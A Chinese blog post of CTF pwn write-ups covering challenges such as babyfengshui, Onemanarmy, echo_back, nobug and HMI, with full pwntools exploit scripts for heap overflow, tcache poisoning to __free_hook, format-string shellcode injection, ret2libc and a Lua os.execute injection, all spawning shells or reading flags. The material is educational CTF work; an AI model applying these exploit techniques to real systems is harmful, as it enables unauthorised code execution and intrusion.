edit('0', str(len(shellcode)), shellcode)
#	change malloc hook
edit('6', '8', p64(bss))

print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Size: ")
r.sendline('1')

r.interactive()

大佬wp
unsorted attack
1
2

对unsorted attack fastbin attack的分析

unlink1
unlink2

fastbin attack1
fastbin attack2

强烈推荐博客1
强烈推荐博客2
强烈推荐博客3

12、babyfengshui

这是专注于堆布局的一道题,所以它又叫堆风水。

在这里插入图片描述

又是菜单题 这非常的pwn
这种函数逐渐的引起了我的注意
所以这是个啥意思?
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )

在这里插入图片描述
它其实是不想让我们像前面那道题一样一上来直接unlink,从而控制它的这个数组,也不能堆溢出。

但是其实你仔细研究一下的话会发现这个检查机制很初级,有问题,它只能检测内存分配的时候description的chunk与ptr指向的chunk不会发生溢出,而且我感觉它那个程序有问题,不应该是-4,应该是-8吧,不然还是可以覆盖四个字节。

然后利用方式就参照大佬的wp,通过分配内存后再释放,再申请大一点的内存,让两个部分分开,从而达到绕过检查的一个目的。

然后就堆溢出。

这个里面主要用到的知识是top chunk 、 堆的申请 、unlink机制 这些东西

比起前面的确实要简单一点

但是确实要前面的基础

from pwn import *

context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process('./47')
libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")

def add(deslen,txtlen,text):
    p.sendlineafter("Action: ",str(0))
    p.sendlineafter("size of description: ",str(deslen))
    p.sendlineafter("name: ",'breeze')
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

def delete(id):
    p.sendlineafter("Action: ",str(1))
    p.sendlineafter("index: ",str(id))

def Display(id):
    p.sendlineafter("Action: ",str(2))
    p.sendlineafter("index: ",str(id))

def update(id,txtlen,text):
    p.sendlineafter("Action: ",str(3))
    p.sendlineafter("index: ",str(id))
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

free_got=elf.got['free']
add(0x20,0x20,'a'*0x20) #0
add(0x20,0x20,'a'*0x20) #1
delete(0)
add(0x80,0xb8,'a'*0xb0+p32(free_got)) #2
add(0x80,0x8,'/bin/sh\x00') #3

p.recvuntil("description: ")
leak=u32(p.recv(4))
libc_base=leak-(0xf7d9dc30 -0xf7d28000)
system_addr=libc_base+libc.symbols['system']
update(1,4,p32(system_addr))
delete(3)
p.interactive()

大佬wp

13 Onemanarmy

这个题啊
还记得以前都是用的libc 2.27以前的嘛
这是个分界线
因为有了个tache机制
这个题就是在研究怎么绕过tache机制

当然后来libc还有2.29与2.31
多了一些检查,不过那都是后话了。

下面是我搜集的一些关于tcache的资料
tcache 1
tcache 2
tcache 3
tcache 4
tcache 5
tcache 6

这个题它我们最终想的是像fastbin attack一样最后申请到free_hook的地方,进行修改。这个题里面因为是tcache,还没有像fastbin那样的检查,所以其实是简单了很多。
我们需要泄露它的地址,还是想到unsortedbin attack,这道题里面我们可以像大佬的wp一样通过溢出,构造largebin,让它进入unsorted bin,我们也可以直接申请chunk将tcache的一条链填满,自然也可以让chunk到unsorted bin,从而泄露地址,从而完成攻击。

exp

这是通过溢出构造了large bin

from pwn import *
p = process('./onemanarmy')

libc=ELF('./libc-2.27.so')

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x) 
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))
def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
    sla(": ", str(idx))
def alloc(size, content):
    choice(1)
    choice(size)
    sa(": ", content)
def show():
    choice(2)
def rm():
    choice(3)
if __name__ == '__main__':
    for i in range(1, 0x10):
        alloc(0x10*i, 'AAA')
        rm()
    alloc(0x10,'AAA')
    choice(0x2333)
    sleep(1)
    sn(p64(0)*3+p64(0x4b1))
    rm()
    sleep(1)
    alloc(0x20,'AAA')
    rm()
    alloc(0x20,'A')
    alloc(0x30,'\xa0')
    show()
    libc_addr = raddr() - 0x3ebca0
    libc.address = libc_addr
    lg("libc addr", libc_addr)
    alloc(0xb0,'AAA')
    alloc(0xb0, p64(0)*8 + p64(libc.symbols['__free_hook']))
    alloc(0x40, p64(0xdeadbeef))
    alloc(0x40, p64(libc_addr + 0x4f322))
    rm()
    p.interactive()

这是直接将它的链填满。
exp

#coding:utf8
from pwn import *
 
r = process('./oneman_army')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
 
def create(size,content):
   sh.sendlineafter('Your choice:','1')
   sh.sendlineafter('Size:',str(size))
   sh.sendafter('Content:',content)
 
def show():
   sh.sendlineafter('Your choice:','2')
 
def delete():
   sh.sendlineafter('Your choice:','3')
 
#能够写256字节
def edit256byte(content):
   sh.sendlineafter('Your choice:','9011')
   sh.send(content)
 
for i in range(1, 0x10):
   create(0x10*i, 'AAA')
   delete()
#把chunk0申请回来
create(0x10,'A')
#溢出,修改下一个chunk的size,使得其大小为large bin范围
payload = 'A'*0x10
payload += p64(0) + p64(0x4b1)
edit256byte(payload)
delete()
#将chunk1申请回来
create(0x20,'B')
#现在chunk1的size为0x4d1,我们delete它,就可以放入unsorted bin
delete()
#将libc指针传递到chunk2
create(0x20,'B') #chunk1
create(0x30,'C') #chunk2
show()
sh.recv(1)
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook & 0xFFF)
#这种取malloc地址的方法非常好,避免去计算libc基址还要根据不同libc去调试。
libc_base = malloc_hook_addr - malloc_hook
free_hook_addr = libc_base + free_hook
system_addr = libc_base + system
print 'libc_base=',hex(libc_base)
#修改0x40的chunk的tcache_next指针,指向free_hook
payload = 'C'*0x30
payload += p64(0) + p64(0x50)
payload += p64(free_hook_addr)
edit256byte(payload)
 
create(0x40,'D'*0x40) #chunk3
#chunk4分配到free_hook处
create(0x40,p64(system_addr))
#chunk5
create(0x50,'/bin/sh\x00')
#getshell system("/bin/sh")
delete()
 
sh.interactive()

大佬wp

14 echo_back

14、15都是FILE结构体攻击,在看题之前不如看看相关知识。

这篇14、15都有

echo_back

Magic

我感觉看完上面三个博客就没我啥事了,就下面就我理解简单写写。

这道题是对stdin的_I_o_flie的劫持。
下面的magic是对它自己的一个log_file的劫持。

跑一跑 分析分析 过然如其名,漏洞点就在echo_back 那函数里
查保护 一片绿 吓尿

在这里插入图片描述

注意到它开启了PIE 也就是ASLR 内存地址随机化

介绍几个函数
memset
C 库函数 void *memset(void *str, int c, size_t n) 复制字符 c(一个无符号字符)到参数 str 所指向的字符串的前 n 个字符。
该值返回一个指向存储区 str 的指针。

说半天就是利用printf这一个漏洞
就个这漏洞就能把剩下的一锅端
真尼玛牛逼

在这里插入图片描述

先来看看什么是__libc_start_main函数
__libc_start_main

c程序入口点当然是main()函数,但是在执行main函数之前其实还会做一些别的事的,比如加载so等等,这个过程是怎样的呢?大概是这样的:

  1. execve 开始执行
  2. execve 内部会把bin程序加载后,就把.interp指定的 动态加载器加载
  3. 动态加载器把需要加载的so都加载起来,特别的把 libc.so.6 加载
  4. 调用到libc.so.6里的__libc_start_main函数,真正开始执行程序,
  5. __libc_start_main做了一些事后,调用到main()函数

从这里也可以看出,为什么即使一个 int main(){return 0;}这样的最简c程序,也会用到libc.so.6。就因为必然用到__libc_start_main,而__libc_start_main1在libc.so.6 里面呢。

这题它整体思路就是先通过__libc_start_main把该泄露的地址都泄露了,其中包括libc地址,它在栈里,还有main程序地址,通过echo或者其他函数的返回地址等等都可以,这是为了绕过PIE从而使用gadgets。

写ROP链发现空间不够
然后去攻击scanf函数让函数直接把要写的东西给你写好
劫持IO_2_1_stdin

那所以啥是个IO_2_1stdin?
搜集一波资料。


2.1 stdin、stdout和stderr

当Linux新建一个进程时,会自动创建3个文件描述符0、1和2,分别对应标准输入、标准输出和错误输出。C库中与文件描述符对应的是文件指针,与文件描述符0、1和2类似,我们可以直接使用文件指针stdin、stdout和stderr。那么这是否意味着stdin、stdout和stderr是“自动打开”的文件指针呢?

查看C库头文件stdio.h中的源码:

typedef struct _IO_FILE FILE;  
 
/* Standard streams.  */  
extern struct _IO_FILE *stdin;      /* Standard input stream.  */  
extern struct _IO_FILE *stdout;     /* Standard output stream.  */  
extern struct _IO_FILE *stderr;     /* Standard error output stream.  */  
#ifdef __STDC__  
/* C89/C99 say they're macros.  Make them happy.  */  
#define stdin stdin  
#define stdout stdout  
#define stderr stderr  
#endif 

从上面的源码可以看出,stdin、stdout和stderr确实是文件指针。而C标准要求stdin、stdout和stderr是宏定义,所以在C库的代码中又定义了同名宏。

那么stdin、stdout和stderr又是如何定义的呢?定义代码如下:

_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;  
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;  
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_; 

继续查看_IO_2_1_stdin_等的定义,代码如下:

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);  
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);  
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED); 

DEF_STDFILE是一个宏定义,用于初始化C库中的FILE结构。
这里_IO_2_1_stdin、IO_2_1 stdout和_IO_2_1_ stderr这三个FILE结构分别用于文件描述符0、1和2的初始化,
这样C库的文件指针就与系统的文件描述符互相关联起来了。
大家注意***的标志位,stdin是不可写的,stdout是不可读的,而stderr不仅不可读,且没有缓存。

通过上面的分析,可以得到一个结论:stdin、stdout和stderr都是FILE类型的文件指针,是由C库静态定义的,直接与文件描述符0、1和2相关联,所以应用程序可以直接使用它们


在这里插入图片描述你会发现,大佬博客的libc那块时libc_start_main + 0xF0, 但我这里的时libc_start_main + 0xE8, 这是因为我没有换库,然后当我想换的时候,发现它那个库似乎有问题,所以就这吧,题讲明白就行。

然后攻击_IO_2_1_stdin_让buf指向buf上面一段,利用scanf函数对结构体进行多次修改,绕过里面无数的检查,从而达到目的。

  1. scanf调用 _IO_new_file_underflow 进行输入,当 _IO_read_ptr < _IO_read_end 时,函数直
    接返回 _IO_read_ptr ;否则进行一系列赋值操作,最终调用系统调用 _IO_SYSREAD 向 _IO_buf_base 中读入长度为 fp->_IO_buf_end - fp->_IO_buf_base 的数据,并将读入数据的
    数量计入 fp->_IO_read_end 。
    设法构造 _IO_read_ptr >= fp->_IO_read_end ,再用伪造地址addr覆盖 _IO_buf_base 及用
    addr + len覆盖 _IO_buf_end ,即可通过 _IO_SYSREAD 来向addr处读入长度为len的数据。
  2. 上述过程完成后,有 fp->_IO_read_end += len(payload) ,故下一次利用scanf进行输入时,
    需要再次使 _IO_read_ptr = fp->_IO_read_end 。
    getchar函数可以使 fp->_IO_read_ptr++ ,可循环调用getchar直到 _IO_read_ptr = fp- >_IO_read_end 。

exp上面博客多的很,随便找。

这是64位printf函数的格式化漏洞调试方案

15 Magic

这个跟上面那个就适合放在一起。

在这里插入图片描述
进来菜单警告。

create
在这里插入图片描述

spell
在这里插入图片描述

问题出在里面有个数组越界漏洞。
可以修改v3+40的地方。

当 _IO_read_ptr < _IO_read_end 时,函数直接返回 _IO_read_ptr ;
否则进行一系列赋值操作,包括将 _IO_read_base、_IO_read_ptr、_IO_read_end、 _IO_write_base、_IO_write_ptr、_IO_write_end 全部赋值为 _IO_buf_base ,最终调用系统调
用 _IO_SYSREAD 向 _IO_buf_base 中读入长度为 fp->_IO_buf_end - fp->_IO_buf_base 的数据,
并将读入数据的数量计入 fp->_IO_read_end 。
故我们可以:

  1. 重新将 _IO_write_ptr 指针指回IO_FILE堆块头
  2. 修改read_ptr,泄露bss段中的IO_FILE所在堆地址
  3. 构造 _IO_read_ptr >= fp->_IO_read_end 4. 构造 _IO_write_end 指向 _IO_buf_base 后的地址
  4. 构造 _IO_buf_base 指针指向got表atoi函数位置,从而将 _IO_write_ptr 指针指向atoi
    另外需要注意,由于会向 _IO_buf_base 中读入长度为len的原log_file中的随机数,故我们需要将指针
    指向got表后一段空间,保证读入的随机数不会覆盖有效数据。之后再使用wizard_spell函数上抬
    _IO_write_ptr 指针位置至atoi前附近位置即可。

16 nobug

非栈上的格式化字符串漏洞

在这里插入图片描述RELRO没全开,GOT表可以考虑劫持一手。
NX也没开,能写shellcode。

进去两个函数,第一个函数看半天就是个输入函数,遇到’\n’会截断,用0代替。

第二个函数里面有个陌生函数,isalnum。
C 库函数 void isalnum(int c) 检查所传的字符是否是字母和数字。

然后那复杂的一大堆代码,我也不知道是啥玩意,看到这里有个地址。

在这里插入图片描述
进去以后发现这里是base64的密码表,猜它是base64加密或者解密,然后运行程序去尝试,发现它是解密。

后来去请教了cherest_san师傅

在这里插入图片描述这块可以直接看出时base64,v9,v10那里时经典操作。

在这里插入图片描述下面这里可以直接看出来时解密,因为对一开始就对’=‘进行了处理,如果时加密的话对’='的处理应该再程序最下面。

然后漏洞在哪?不知道

看它的汇编代码,有两处高亮。
在这里插入图片描述它这两个飘红时因为IDA在进入函数与退出函数时会检查它的栈指针,如果不一样就有这个红。而上面那个函数里面最后时通过push+ret进行的函数调用,这就导致栈指针发生里变化,所以会有飘红,但是并不影响反编译。

发现漏洞点在snprintf函数,它的输出地址在bss段,就是非栈上的格式化字符串漏洞。

这道题它没有把RELRO全开,所以我们可以通过劫持GOT表的方式去拿到shell,下面那个第一个链接里面的是RELRO全开的情况,这就要求我们对

exp

#coding:utf8  
from pwn import *  
import base64  
  
sh = remote('111.198.29.45',31218)  
#sh = process('./pwnh40')  
elf = ELF('./pwnh40')  
#我们输入的shellcode解密后会被保存到这里  
shellcode_addr = 0x804A0A0  
#shellcode  
shellcode = asm(shellcraft.i386.sh())  
  
payload = base64.b64encode('%4$p')  
sh.sendline(payload)  
sh.recvuntil('0x')  
#泄露我们需要修改的目标的地址  
target_addr = int(sh.recvuntil('\n',drop = True),16) + 4  
print hex(target_addr)  
#发送shellcode,同时,覆盖%12$处为target地址,同时将target处修改为shellcode_addr  
payload = base64.b64encode(shellcode + '%' + str((target_addr & 0xFF) - len(shellcode)) + 'c%4$hhn%' + str((shellcode_addr & 0xFF) - (target_addr & 0xFF)) + 'c%12$hn')  
#getshell  
sh.sendline(payload)  
  
sh.interactive() 

非栈上的格式化字符串漏洞1
非栈上的格式化字符串漏洞2
非栈上的格式化字符串漏洞3
大佬wp

17 Aul

运行程序可以发现是一个game,如果输入help,可以发现这是个lua程序,而下面的乱码像是lua的字节码。

尝试使用unluac工具反编译代码,失败。

通过比较自己编译的字节码和给出的字节码,发现输出的字节码头部少了一个字节。

修复这个问题,就可以反编译了。

在审计代码中可以发现有注入点。

作者的预期解是: load(‘lines = io.lines(“flag”)\n for l in lines do writeline(l) end’) –

然而可以使用os.execute(“cat flag”),成功输出flag

shell let’s play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute(“cat flag”)

在这里插入图片描述

过程就是那么个过程
其实我也不知道这是个啥

贴一个参考wp

普及一下啥是个lua
Lua是一个简洁、轻量、可扩展的程序设计语言,其设计目的是为了嵌入应用程序中,从而为应用程序提供灵活的扩展和定制功能。
Lua由标准C编写而成,几乎在所有操作系统和平台上都可以编译,运行,它还有一个同时进行的JIT项目,提供在特定平台上的即时编译功能,但Lua并没有提供强大的库,所以不适合作为开发独立应用程序的语言使用。

我也不大懂,就个这吧。

18 HMI

其实我也不知道它想考点啥。

直接运行二进制,发现只有一个跑马灯,不停地循环
IDA查看之后,发现中间有一个alarm,在第三轮跑马灯结束之前,alarm开始触发,然后隔了将近1s后,跳转到第四轮跑马灯,在这之间会有一个输入的机会,计算好时间进行输入,然后就是一个普通的栈溢出题了。
通过调试计算出read和system、/bin/sh的位移,通过read和write函数构建system("/bin/sh")即可。

仍然有很多个地方需要注意
首先是那清屏的两个printf
然后是
Signal函数
C 库函数 void (*signal(int sig, void (*func)(int)))(int) 设置一个函数来处理信号,即带有 sig 参数的信号处理程序。
说实话,并不知道是干嘛的
alarm函数
这个对alarm函数分析的很透彻

from pwn import *
import time
context.log_level='debug'
r =  process('./hmi')
 
r.recvuntil("\n\n")
e = ELF("./format")
libc=ELF("./libc_32.so.6")
writeplt = e.symbols['write']
writegot = e.got['write']
readplt = e.symbols['read']
readgot = e.got['read']
main = e.symbols['gee']
 
payload1 = "A" * 140 + p32(writeplt) + p32(main) + p32(1) + p32(readgot) + p32(4)
r.sendline(payload1 ) #feeds the exploit to the binary 
a=unpack(r.recv(4)) #gets the four bytes we leaked from the GOT 
print hex(a)
 
libc_base = a - libc.symbols['read']
success('libcbase:'+hex(libc_base))
libc.address = libc_base
system_address = libc.symbols['system']
binsh_address = libc.search('/bin/sh').next()
 
r.sendline("A"*140 + pack(system_address)+ "BBBB"+ pack(binsh_address))
r.intreactive()
r.sendline("cat flag && cat flag")
#最后这个cat flag && cat flag 是因为只cat一次的话输出的flag会被擦掉,cat两次的话擦一个还有一个。

总会有个小结

这些题分成了四个部分
1、栈上一些进阶东西。包括对PIE的一些处理,mprotect的一些方法,栈迁移。但是栈上还有一些比较高级,复杂的ROP没有涉及到,比如SROP,ret2vdso,ret2dl。之后遇到再说。
2、堆上面一些基础的东西,比如fastbin attack,unsorted bin attack,unlink,跟一点点tcache,只是让你链接了一些堆上的东西。
3、_I_O_FILE里面很经典很经典的两道例题,想要理解并且吃透还是要花很大功夫的。
4、一些其它东西,lua等。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/yongbaoii/article/details/110151582

智能推荐

使用Python 进行串口通信过程记录——PySerial安装_phthon 脱机安装串口模块-程序员宅基地

文章浏览阅读3.6k次。该文章的前提是已安装Python(楼主安装版本为64bit的3.7版本),使用PySerial模块,该模块安装前可先安装pip(推荐安装,还可以用于安装其他模块,使用方便)一、安装PIP1、下载安装包,地址为:https://pypi.org/project/pip/#files2、下载完成后将其解压到python目录下:随后,cmd进入该目录下,并进入到pip-19.0..._phthon 脱机安装串口模块

Shell中字符串分割的三种方法_shell字符串按空格切割成列表-程序员宅基地

文章浏览阅读10w+次,点赞7次,收藏24次。问题:对于’1,2,3,4,5’这样的字符串输出采用,分隔开的1 2 3 4 5特征:在字符串中没有空格解决方法1:#!/bin/bashvar=’1,2,3,4,5’var=${var//,/ } #这里是将var中的,替换为空格for element in $var do echo $elementdone若原来字符串中有空格如:’mark:x:_shell字符串按空格切割成列表

Java 判断文件夹、文件是否存在,不存在则创建_判断d盘是否存在text4文件夹,不存在就创建,在text4文件夹内创建ikun.txt文件,-程序员宅基地

文章浏览阅读4.3w次,点赞9次,收藏24次。1、判断文件是否存在,不存在创建文件File file=new File("C:\\Users\\QPING\\Desktop\\JavaScript\\2.htm"); if(!file.exists()) { try { file.createNewFile(); } catch (IOException e) { ..._判断d盘是否存在text4文件夹,不存在就创建,在text4文件夹内创建ikun.txt文件,

Jupyter Notebook使用ipywidgets动态更换显示图片、预览播放视频【告别matplotlib】_ipywidgets数据转图像-程序员宅基地

文章浏览阅读5.1k次,点赞2次,收藏16次。不管是Jupyter Notebook还是IPython Notebook,用过的人都知道,要想达成本地python-opencv一样窗口播放视频的效果是非常麻烦的。网络上能搜索到的matplotlib动态切换图片,大部分都是绘制函数图,或者就是用clear_output清空输出区域的办法重新绘制,既麻烦又不雅观。现在给大家介绍一个新的方法,可以在jupyter网页开发时像opencv“窗口”..._ipywidgets数据转图像

搭建web服务器-程序员宅基地

文章浏览阅读7k次,点赞4次,收藏51次。1.要求搭建web服务器,能够访问到网页内容为“小胖,你咋这么胖呢!”2.要求搭建web服务器,创建基于域名的虚拟主机,能够使用www.xiaopang.com和www.dapang.com访问各自的网站网站存放路径分别为/xiaopang和/dapang,内容自定。配置yun源: 第三步:更改配置文件实现自定义设置:第四步:根据配置创建资源文件:第五步:重启服务测试第六步:使用windows浏览器访问服务器IP添加成功后重启服务端:第

paddlehub学习_python3: symbol lookup error: /opt/conda/envs/pyth-程序员宅基地

文章浏览阅读1.3k次。#安装paddlehub!pip install paddlehub==1.6.0 -i https://pypi.tuna.tsinghua.edu.cn/simpleLooking in indexes: https://pypi.tuna.tsinghua.edu.cn/simpleCollecting paddlehub==1.6.0[?25l Downloading htt..._python3: symbol lookup error: /opt/conda/envs/python35-paddle120-env/lib/pyt

随便推点

poj 3468 A Simple Problem with Integers(线段树)(第二部分 成段更新,区间求和)-程序员宅基地

文章浏览阅读262次。题目链接:http://poj.org/problem?id=3468题目大意:给出n个数的数值Q是对区间a,b的求和C是对区间a,b内的所有数都加上c思路:成段更新,需要用到延迟标记(或者说懒惰标记),简单来说就是每次更新的时候不要更新到底,用延迟标记使得更新延迟到下次需要更新or询问到的时候#include#include#include#include#inc

pytorch多GPU使用的方法model=nn.DataParallel(model).cuda()_model = nn.dataparallel(model, device_ids=gpus).cu-程序员宅基地

文章浏览阅读3.4k次。单GPU: import osos.environ["CUDA_VISIBLE_DEVICES"] = "0"12 多GPU: device_ids = [0,1,2,3]1 model = model.cuda(device_ids[0])model = nn.Data..._model = nn.dataparallel(model, device_ids=gpus).cuda()

R语言数据挖掘概述(一)-程序员宅基地

文章浏览阅读2.8k次。1.数据分析与挖掘的必要性数据量的规模由传统的GB,TB量级,变为PB,EB,ZB级别,大数据的"4V"特点即大量(volume)、高速(velocity)、多样(variety)、价值(value). 因此一般的大数据分析需要四个核心要素:基于云计算的基础设施,分布式的大数据体系,数据分析方法与算法,行业应用知识与经验。人类的数据生产能力达到空前,从数据挖掘方法入手,无疑是最佳选择。2...

射线与平面的相交检测(Ray-Plane intersection test)_射线与面相交检测算法-程序员宅基地

文章浏览阅读1.3k次。射线与平面的相交检测(Ray-Plane intersection test)射线的定义在欧几里德几何中,射线的定义是:直线上一点和它一旁的部分。由此可知,射线有两个性质,一是只有一个端点,二是一端无限延伸。射线的参数方程其中p0是射线的起点, u是射线的方向向量,t >= 0,根据t的取值不同,可得射线上不同的点,所有这些点便构成了整个射线,如图平面的定义平面_射线与面相交检测算法

java键盘上下左右事件_Atitit。監聽鍵盤上下左右方向鍵事件java js jquery c#.net-程序员宅基地

文章浏览阅读287次。Atitit。監聽鍵盤上下左右方向鍵事件java js jquery c#.net1.Keyword鍵盤事件 方向鍵 上下左右 按鍵監聽2.通用的實現流程Bind (control,key_eventHandel)key_eventHandel獲得當前控件var now=$(".selected");3.Js的實現3.1.Bind control ,event handelerkey_...

redis集群从bind127.0.0.1 修改为本地IP需要的相关配置_bind 127.0.0.1-程序员宅基地

文章浏览阅读1.1k次。redis集群从bind127.0.0.1 修改为本地IP需要的相关配置之前配置集群的时候都是默认配置,后来发现在用Jedis连接集群测试的时候无法连接。后来查到是因为配置问题(配置成了127.0.0.1),所以在外面连接的时候无法连接到,需要指定本地ip才可以。于是将其重新配置了一次,终于成功!下面整理了一下重新配置的步骤(以6个redis为例):1、关闭redis集群查找所有redis进程[hadoop@master redis-cluster]$ ps -ef | grep redis_bind 127.0.0.1

推荐文章

热门文章

相关标签